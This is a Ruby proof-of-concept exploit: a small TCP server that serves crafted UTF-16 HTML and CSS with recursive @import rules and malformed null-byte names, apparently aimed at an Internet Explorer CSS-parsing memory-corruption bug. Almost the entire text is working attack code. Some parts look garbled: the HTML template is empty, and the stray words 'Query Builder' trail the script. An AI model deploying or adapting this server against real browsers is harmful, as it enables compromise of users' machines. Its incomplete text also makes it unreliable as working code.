#!/usr/bin/env ruby # Source: http://www.breakingpointsystems.com/community/blog/ie-vulnerability/ # Author: Nephi Johnson (d0c_s4vage) require 'socket' def http_send(sock, data, opts={}) defaults = {:code=>"200", :message=>"OK", :type=>"text/html"} opts = defaults.merge(opts) code = opts[:code] message = opts[:message] type = opts[:type] to_send = "HTTP/1.1 #{code} #{message}\r\n" + "Date: Sat, 11 Dec 2010 14:20:23 GMT\r\n" + "Cache-Control: no-cache\r\n" + "Content-Type: #{type}\r\n" + "Pragma: no-cache\r\n" + "Content-Length: #{data.length}\r\n\r\n" + "#{data}" puts "[+] Sending:" to_send.split("\n").each do |line| puts " #{line}" end sock.write(to_send) rescue return false return true end def sock_read(sock, out_str, timeout=5) begin if Kernel.select([sock],[],[],timeout) out_str.replace(sock.recv(1024)) puts "[+] Received:" out_str.split("\n").each do |line| puts " #{line}" end else sock.close return false end rescue Exception => ex return false end end def to_uni(str) res = "" str.each_byte do |b| res << "\x00#{b.chr}" end res end @css_name = "\x00s\x03s\x00s\x03s\x00s\x03s\x00s\x03s" @html_name = "test.html" placeholder = "a" * (@css_name.length/2) @html = <<-HTML HTML @html = "\xfe\xff" + to_uni(@html) @html.gsub!(to_uni(placeholder), @css_name) @css = <<-CSS @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); @import url("#{placeholder}"); CSS @css = "\xfe\xff" + to_uni(@css) @css.gsub!(to_uni(placeholder), @css_name) @index = <<-INDEX #{@html_name} INDEX TCPServer.open(55555) do |srv| while true cli = srv.accept req = "" html = "" css = "" index = "" next unless sock_read(cli, req, 5) while req.length > 0 if req =~ /GET/ if req =~ /GET.*#{Regexp.escape(@html_name)}/ break unless http_send(cli, @html, :type=>"text/html") elsif req =~ /GET.*index/ break unless http_send(cli, @index) elsif req =~ /GET.*#{Regexp.escape(@css_name)}/ break unless http_send(cli, @css, :type=>"text/css") else break unless http_send(cli, @css, :type=>"text/css") end elsif req =~ /QUIT/ exit() end req = "" next unless sock_read(cli, req, 5) end cli.close rescue next end end

Query Builder